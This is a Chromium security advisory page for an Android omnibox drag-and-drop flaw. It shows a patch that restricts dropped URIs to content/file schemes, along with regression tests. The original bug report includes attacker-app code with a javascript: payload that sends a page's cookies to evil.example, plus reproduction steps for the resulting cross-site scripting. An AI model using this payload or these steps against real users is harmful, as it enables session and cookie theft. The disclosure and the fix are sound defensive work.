CVE-2026-113032
Overview
Files Changed
chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.javachrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java
Patch
From 8cacf53ade0871ee3e5874cbf2b8c0b92f9ca407 Mon Sep 17 00:00:00 2001 From: Yoshisato Yanagisawa <[email protected]> Date: Fri, 18 Sep 2026 12:13:51 -0700 Subject: [PATCH] Validate dropped URI schemes in LocationBarDragDropHandler Ensure that direct URI items dropped onto the location bar are verified to have a content or file scheme before resolving MIME types or applying fallback clip descriptions. Previously, items with other URI schemes could be accepted if the clip description matched acceptable MIME types. Additionally, use case-insensitive comparisons for URI schemes and catch exceptions that may arise when querying the content resolver for MIME types. Fixed: 541604102 Change-Id: Ib7fc268979af9ccc6feff55864899da00ea3e4e9 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8429467 Auto-Submit: Tomasz Wiszkowski <[email protected]> Commit-Queue: Tomasz Wiszkowski <[email protected]> Reviewed-by: Sky Malice <[email protected]> Cr-Commit-Position: refs/heads/main@{#1701009} --- diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java index 2e4bf6e..96fd4f0 100644 --- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java +++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java @@ -115,7 +115,7 @@ String url = uriToLoad.toString(); if (permissions != null - && ContentResolver.SCHEME_CONTENT.equals(uriToLoad.getScheme())) { + && ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(uriToLoad.getScheme())) { tab.addObserver(new DragAndDropPermissionsReleaseObserver(tab, permissions)); permissions = null; } @@ -159,10 +159,14 @@ @VisibleForTesting @Nullable String getMimeType(Context context, Uri uri) { - if (ContentResolver.SCHEME_CONTENT.equals(uri.getScheme())) { - return context.getContentResolver().getType(uri); + if (ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(uri.getScheme())) { + try { + return context.getContentResolver().getType(uri); + } catch (Exception e) { + return null; + } } - if (!ContentResolver.SCHEME_FILE.equals(uri.getScheme())) { + if (!ContentResolver.SCHEME_FILE.equalsIgnoreCase(uri.getScheme())) { return null; } String extension = MimeTypeMap.getFileExtensionFromUrl(uri.toString()); @@ -204,7 +208,7 @@ boolean hasContentUri(ClipData clipData) { for (int i = 0; i < clipData.getItemCount(); i++) { Uri uri = clipData.getItemAt(i).getUri(); - if (uri != null && ContentResolver.SCHEME_CONTENT.equals(uri.getScheme())) { + if (uri != null && ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(uri.getScheme())) { return true; } } @@ -212,6 +216,20 @@ } /** + * Checks if the URI has a content or file scheme (case-insensitive). + * + * @param uri The URI to check. + * @return True if the URI has a content or file scheme, false otherwise. + */ + @VisibleForTesting + boolean isContentOrFileUri(@Nullable Uri uri) { + if (uri == null) return false; + String scheme = uri.getScheme(); + return ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(scheme) + || ContentResolver.SCHEME_FILE.equalsIgnoreCase(scheme); + } + + /** * Finds the first acceptable URI in the clip data to load. If the clip data contains a single * item and its mime type cannot be determined from the URI, it falls back to checking the clip * description. @@ -240,7 +258,7 @@ } Uri uri = item.getUri(); - if (uri == null) continue; + if (uri == null || !isContentOrFileUri(uri)) continue; String mimeType = getMimeType(context, uri); if (mimeType == null && clipData.getItemCount() == 1 && desc != null) { diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java index 0b808f6..a198cdf 100644 --- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java +++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java @@ -51,6 +51,7 @@ import org.chromium.url.GURL; import java.lang.ref.WeakReference; +import java.util.List; /** Unit tests for {@link LocationBarDragDropHandler}. */ @RunWith(BaseRobolectricTestRunner.class) @@ -253,6 +254,21 @@ } @Test + public void testIsContentOrFileUri() { + assertTrue(mHandler.isContentOrFileUri(Uri.parse("content://com.example/doc"))); + assertTrue(mHandler.isContentOrFileUri(Uri.parse("CONTENT://com.example/doc"))); + assertTrue(mHandler.isContentOrFileUri(Uri.parse("file:///path/to/file.txt"))); + assertTrue(mHandler.isContentOrFileUri(Uri.parse("FILE:///path/to/file.txt"))); + assertFalse(mHandler.isContentOrFileUri(Uri.parse("http://example.com"))); + assertFalse(mHandler.isContentOrFileUri(Uri.parse("https://example.com"))); + assertFalse(mHandler.isContentOrFileUri(Uri.parse("javascript:alert(1)"))); + assertFalse(mHandler.isContentOrFileUri(Uri.parse("data:text/html,sample_data"))); + assertFalse(mHandler.isContentOrFileUri(Uri.parse("chrome://flags"))); + assertFalse(mHandler.isContentOrFileUri(null)); + assertFalse(mHandler.isContentOrFileUri(Uri.EMPTY)); + } + + @Test public void testGetMimeType() { // Content URI Uri contentUri = Uri.parse("content://com.example.provider/doc"); @@ -431,4 +447,182 @@ assertNull(mHandler.findUriToLoad(mContext, clipData, null)); } + + @Test + public void testFindUriToLoad_RejectsJavascriptUriWithFallbackMimeType() { + Uri uri = Uri.parse("javascript:alert(1)"); + ClipData clipData = + new ClipData("url", new String[] {"text/plain"}, new ClipData.Item(uri)); + ClipDescription desc = new ClipDescription("url", new String[] {"text/plain"}); + + assertNull(mHandler.findUriToLoad(mContext, clipData, desc)); + } + + @Test + public void testOnDrag_Drop_JavascriptUri_Rejected() { + Uri uri = Uri.parse("javascript:alert(1)"); + ClipData clipData = + new ClipData("url", new String[] {"text/plain"}, new ClipData.Item(uri)); + + when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP); + when(mDragEvent.getClipData()).thenReturn(clipData); + when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription()); + when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity)); + + assertFalse(mHandler.onDrag(new View(mContext), mDragEvent)); + verify(mOmniboxStub, never()).loadUrl(any()); + } + + @Test + public void testFindUriToLoad_RejectsDataUri() { + Uri uri = Uri.parse("data:text/html,sample_data"); + ClipData clipData = + new ClipData("data", new String[] {"text/html"}, new ClipData.Item(uri)); + ClipDescription desc = new ClipDescription("data", new String[] {"text/html"}); + + assertNull(mHandler.findUriToLoad(mContext, clipData, desc)); + } + + @Test + public void testFindUriToLoad_RejectsChromeAndAboutSchemes() { + for (String urlStr : + List.of( + "chrome://flags", + "chrome-native://bookmarks", + "about:blank", + "about:flags")) { + Uri uri = Uri.parse(urlStr); + ClipData clipData = + new ClipData("internal", new String[] {"text/plain"}, new ClipData.Item(uri)); + ClipDescription desc = new ClipDescription("internal", new String[] {"text/plain"}); + + assertNull( + "Scheme should be rejected: " + urlStr, + mHandler.findUriToLoad(mContext, clipData, desc)); + } + } + + @Test + public void testFindUriToLoad_RejectsOtherDisallowedSchemes() { + for (String urlStr : + List.of( + "jar:file:///path.jar!/file.txt", + "blob:https://example.com/sample", + "intent:#Intent;action=VIEW;end")) { + Uri uri = Uri.parse(urlStr); + ClipData clipData = + new ClipData("disallowed", new String[] {"text/plain"}, new ClipData.Item(uri)); + ClipDescription desc = new ClipDescription("disallowed", new String[] {"text/plain"}); + + assertNull( + "Scheme should be rejected: " + urlStr, + mHandler.findUriToLoad(mContext, clipData, desc)); + } + } + + @Test + public void testFindUriToLoad_RejectsUppercaseJavascriptUri() { + Uri uri = Uri.parse("JAVASCRIPT:alert(1)"); + ClipData clipData = + new ClipData("url", new String[] {"text/plain"}, new ClipData.Item(uri)); + ClipDescription desc = new ClipDescription("url", new String[] {"text/plain"}); + + assertNull(mHandler.findUriToLoad(mContext, clipData, desc)); + } + + @Test + public void testOnDrag_Drop_UppercaseContentUri_AcceptedWithPermissions() { + Uri contentUri = Uri.parse("CONTENT://com.example.provider/document.pdf"); + ClipData clipData = + new ClipData( + "doc", new String[] {"application/pdf"}, new ClipData.Item(contentUri)); + when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP); + when(mDragEvent.getClipData()).thenReturn(clipData); + when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription()); + when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity)); + when(mActivity.requestDragAndDropPermissions(mDragEvent)) + .thenReturn(mDragAndDropPermissions); + + assertTrue(mHandler.onDrag(new View(mContext), mDragEvent)); + verify(mTab).addObserver(any()); + verify(mOmniboxStub).loadUrl(mLoadUrlParamsCaptor.capture()); + assertEquals( + "CONTENT://com.example.provider/document.pdf", mLoadUrlParamsCaptor.getValue().url); + } + + @Test + public void testOnDrag_Drop_UppercaseFileUri_Accepted() { + Uri fileUri = Uri.parse("FILE:///path/to/file.txt"); + ClipData clipData = + new ClipData("file", new String[] {"text/plain"}, new ClipData.Item(fileUri)); + + when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP); + when(mDragEvent.getClipData()).thenReturn(clipData); + when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription()); + when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity)); + + assertTrue(mHandler.onDrag(new View(mContext), mDragEvent)); + verify(mOmniboxStub).loadUrl(mLoadUrlParamsCaptor.capture()); + assertEquals("FILE:///path/to/file.txt", mLoadUrlParamsCaptor.getValue().url); + } + + @Test + public void testOnDrag_Drop_SkipsUnsupportedUriScheme() { + Uri fileUri = Uri.parse("file:///path/to/file.txt"); + ClipData clipData = + new ClipData( + "text", + new String[] {"text/plain"}, + new ClipData.Item(Uri.parse("javascript:alert(1)"))); + clipData.addItem(new ClipData.Item(fileUri)); + + when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP); + when(mDragEvent.getClipData()).thenReturn(clipData); + when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription()); + when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity)); + + assertTrue(mHandler.onDrag(new View(mContext), mDragEvent)); + verify(mOmniboxStub).loadUrl(mLoadUrlParamsCaptor.capture()); + assertEquals("file:///path/to/file.txt", mLoadUrlParamsCaptor.getValue().url); + } + + @Test + public void testFindUriToLoad_FallbackMimeTypeOnlyForContentOrFile() { + // Content URI with null getType() -> Uses fallback -> Accepted + Uri contentUri = Uri.parse("content://com.example.provider/sample"); + when(mContentProvider.getType(contentUri)).thenReturn(null); + ShadowContentResolver.registerProviderInternal("com.example.provider", mContentProvider); + ClipData contentClip = + new ClipData( + "doc", new String[] {"application/pdf"}, new ClipData.Item(contentUri)); + assertEquals( + contentUri, + mHandler.findUriToLoad(mContext, contentClip, contentClip.getDescription())); + + // File URI with no extension -> Uses fallback -> Accepted + Uri fileUri = Uri.parse("file:///path/to/no_extension_file"); + ClipData fileClip = + new ClipData("file", new String[] {"text/plain"}, new ClipData.Item(fileUri)); + assertEquals( + fileUri, mHandler.findUriToLoad(mContext, fileClip, fileClip.getDescription())); + + // Non-content/file URI with null getMimeType() -> Fallback blocked -> Rejected + Uri jsUri = Uri.parse("javascript:alert(1)"); + ClipData jsClip = new ClipData("js", new String[] {"text/plain"}, new ClipData.Item(jsUri)); + assertNull(mHandler.findUriToLoad(mContext, jsClip, jsClip.getDescription())); + } + + @Test + public void testFindUriToLoad_RejectsSchemelessOrMalformedUri() { + for (String urlStr : List.of("//example.com", "relative/path/file.txt", " ")) { + Uri uri = Uri.parse(urlStr); + ClipData clipData = + new ClipData("malformed", new String[] {"text/plain"}, new ClipData.Item(uri)); + ClipDescription desc = new ClipDescription("malformed", new String[] {"text/plain"}); + + assertNull( + "Schemeless/malformed URI should be rejected: " + urlStr, + mHandler.findUriToLoad(mContext, clipData, desc)); + } + } }
Original Bug Report
Android omnibox drag&drop loads dropped javascript: URI as TYPED nav -> UXSS in current page
Steps to reproduce the problem
Affected build: Android Chrome containing commit 78e6ce2 (present in current origin/main, 153.0.7986.0). Device must be unmanaged (no enterprise DevTools/URLBlocklist restriction).
-
Build/run an attacker “drag source” app on the same device. Put a
javascript:URI into aClipData.Itemand start a global drag. Either of two forms is accepted by the handler:Form A — Intent with BROWSABLE category (most direct, no MIME needed):
String p = "javascript:fetch('https://evil.example/s?c='+encodeURIComponent(document.cookie))"; Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse(p)).addCategory(Intent.CATEGORY_BROWSABLE); ClipData clip = new ClipData(new ClipDescription("d", new String[]{ "text/plain" }), new ClipData.Item(i)); view.startDragAndDrop(clip, new View.DragShadowBuilder(view), null, View.DRAG_FLAG_GLOBAL);Form B — URI item + declared text/plain (MIME fallback path):
ClipData clip = new ClipData(new ClipDescription("d", new String[]{ "text/plain" }), new ClipData.Item(Uri.parse(p))); view.startDragAndDrop(clip, new View.DragShadowBuilder(view), null, View.DRAG_FLAG_GLOBAL); -
Open Chrome; navigate the current tab to a site you are logged into (e.g.
https://mail.example.com). -
Put Chrome and the attacker app side by side (split-screen / multi-window).
-
Drag from the attacker app and drop onto Chrome’s address bar / URL bar.
Result: the javascript: URI is loaded as an omnibox navigation (PageTransition.TYPED) and the JavaScript executes in the origin of the currently displayed page (the sample payload exfiltrates that site’s cookies).
> Note: a live PoC was not executed. The attacker-app code and steps above are a reproduction plan derived from source analysis; the vulnerable code paths in Problem Description are verified in tree.
Problem Description
The Android LocationBar drag-and-drop handler resolves a URI from dropped content and loads it into the omnibox with PageTransition.TYPED, but never validates the URI’s scheme. A javascript: URI dropped from another app therefore executes in the currently displayed page’s origin → UXSS.
1. The handler is wired to the address bar and URL bar.
chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java:556-557
mLocationBarLayout.setOnDragListener(dragDropHandler);
mLocationBarLayout.getUrlBar().setOnDragListener(dragDropHandler);
2. The sink: dropped URI is navigated as-is with the highest-trust transition, no scheme check.
chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:112-122 (acceptDrop)
Uri uriToLoad = findUriToLoad(context, clipData, event.getClipDescription());
if (uriToLoad == null) return false;
String url = uriToLoad.toString(); // scheme of uriToLoad never validated
if (permissions != null
&& ContentResolver.SCHEME_CONTENT.equals(uriToLoad.getScheme())) { // only used to release perms
tab.addObserver(new DragAndDropPermissionsReleaseObserver(tab, permissions));
permissions = null;
}
mOmniboxStub.loadUrl(
new OmniboxLoadUrlParams.Builder(url, PageTransition.TYPED).build()); // top-trust navigation
3. Why a javascript: URI is accepted — no scheme validation in either branch.
chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:225-251 (findUriToLoad)
Uri findUriToLoad(Context context, ClipData clipData, @Nullable ClipDescription desc) {
for (int i = 0; i < clipData.getItemCount(); i++) {
ClipData.Item item = clipData.getItemAt(i);
// Detect URL drops first.
Intent intent = item.getIntent();
if (intent != null && intent.hasCategory(Intent.CATEGORY_BROWSABLE)) {
Uri uri = intent.getData();
if (uri != null) {
return uri; // (Form A) returned with NO mime or scheme check
}
}
Uri uri = item.getUri();
if (uri == null) continue;
String mimeType = getMimeType(context, uri);
if (mimeType == null && clipData.getItemCount() == 1 && desc != null) {
mimeType = getFallbackMimeType(desc); // (Form B) falls back to DECLARED mime types
}
if (mimeType != null && isAcceptableMimeType(mimeType)) {
return uri; // scheme of uri never examined
}
}
return null;
}
For Form B, getMimeType() returns null for any non-content/non-file scheme (so javascript: → null, forcing the fallback):
chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:160-173 (getMimeType)
String getMimeType(Context context, Uri uri) {
if (ContentResolver.SCHEME_CONTENT.equals(uri.getScheme())) {
return context.getContentResolver().getType(uri);
}
if (!ContentResolver.SCHEME_FILE.equals(uri.getScheme())) {
return null; // javascript:, data:, intent: ... -> null
}
...
}
and getFallbackMimeType() inspects only the MIME types the ClipDescription declares (e.g. text/plain) — never the URI’s real scheme:
chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:184-192 (getFallbackMimeType)
String getFallbackMimeType(ClipDescription desc) {
for (int i = 0; i < desc.getMimeTypeCount(); i++) {
String type = desc.getMimeType(i);
if (isAcceptableMimeType(type)) { // "text/plain" -> true
return type;
}
}
return null;
}
4. Downstream sink has no javascript: filter.
chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java — loadUrl() special-cases only chrome-extension:// (line 1009); every other scheme flows to the navigation:
LoadUrlParams loadUrlParams = new LoadUrlParams(url); // :1052 raw url
loadUrlParams.setTransitionType(
omniboxLoadUrlParams.transitionType | PageTransition.FROM_ADDRESS_BAR); // :1062
...
currentTab.loadUrl(loadUrlParams); // :1112
Additional Comments
5. The content layer executes it.
content/browser/renderer_host/navigation_controller_impl.cc:4303-4322 — a javascript: URL is a renderer-debug URL and is dispatched via HandleRendererDebugURL to run in the current document. Neither guard stops this drop:
if (blink::IsRendererDebugURL(params.url)) {
if (GetContentClient()->browser()->ShouldBlockRendererDebugURL(
params.url, browser_context_, node->current_frame_host())) {
DiscardPendingEntry(false);
return nullptr; // blocks only on enterprise policy
}
if (params.initiator_origin.has_value() &&
params.initiator_origin->opaque()) { // browser-initiated drop has NO initiator_origin
DiscardPendingEntry(true);
return nullptr;
}
HandleRendererDebugURL(node, params.url); // executes JS in the current document
return nullptr;
}
ShouldBlockRendererDebugURL returns true only under enterprise policy (chrome/browser/chrome_content_browser_client.cc:7756), and the opaque-initiator check is skipped because a drop-initiated omnibox navigation is browser-initiated (no initiator_origin) — the same reason legitimately typed javascript: bookmarklets execute.
6. The existing self-XSS protection is bypassed.
components/omnibox/browser/omnibox_text_util.cc:26 — StripJavascriptSchemas() strips javascript: from typed/pasted omnibox text, but this drag path builds OmniboxLoadUrlParams directly and never passes through the text-input layer. So a single drag-and-drop runs the script with none of the “I understand” paste friction.
Impact: arbitrary JavaScript in the origin of whatever site the victim currently has open, including authenticated sessions — cookie/token/DOM theft and actions as the logged-in user (UXSS).
Additional Comments
Root cause is in the new class LocationBarDragDropHandler (chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java) plus its wiring in LocationBarMediator.java.
Suggested fix: in acceptDrop(), before navigating, reject any resolved URI whose scheme is not in an explicit allow-list (http/https/content/file); explicitly reject javascript:, data:, intent:. This must cover both branches of findUriToLoad (the intent.getData() / BROWSABLE path and the item.getUri() / MIME-fallback path). Lowering the transition type alone is insufficient because the content layer executes browser-initiated javascript: regardless. Consider routing dropped text through the same sanitization used for pasted omnibox input, and add a regression test asserting a dropped javascript: URI is rejected.
Summary
Android omnibox drag&drop loads dropped javascript: URI as TYPED nav -> UXSS in current page
Custom Questions
Type of crash:
XSS
Reporter credit:
Anonymous
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A \